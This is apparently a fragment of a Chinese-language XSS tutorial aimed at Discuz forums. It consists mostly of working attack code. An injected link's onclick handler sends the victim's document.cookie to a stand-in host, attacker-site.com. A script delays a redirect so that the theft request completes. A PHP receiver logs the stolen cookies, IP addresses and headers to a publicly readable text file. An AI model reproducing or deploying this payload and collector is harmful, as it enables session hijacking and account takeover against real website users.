<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">美女admin </a>

方法一：Apache access.log

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>

這樣可以為在想遠端發生哦那個請求的爭取個3s的時間，盡最大可能讓他到達我們的XSS平臺。

<?php
	$ua = $_SERVER["HTTP_USER_AGENT"];                     /*  這裡是記錄HTTP頭所有資訊，其實這裡還可以在加上些容錯處理，防止畸形的http無法被記錄 */
	$client_ip = $_SERVER["REMOTE_ADDR"];
	$method = $_SERVER["REQUEST_METHOD"];
	$referer = $_SERVER["HTTP_REFERER"];
	$date = date("F j, Y, g:i a");
	$querystring = $_SERVER["QUERY_STRING"];
	$log = fopen("cookie.txt","a+");                      /* 這裡是追加到可以在url 訪問的 txt 裡 */
	$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date  | Cookie: $querystring \n";
	fwrite($log,$str);
?>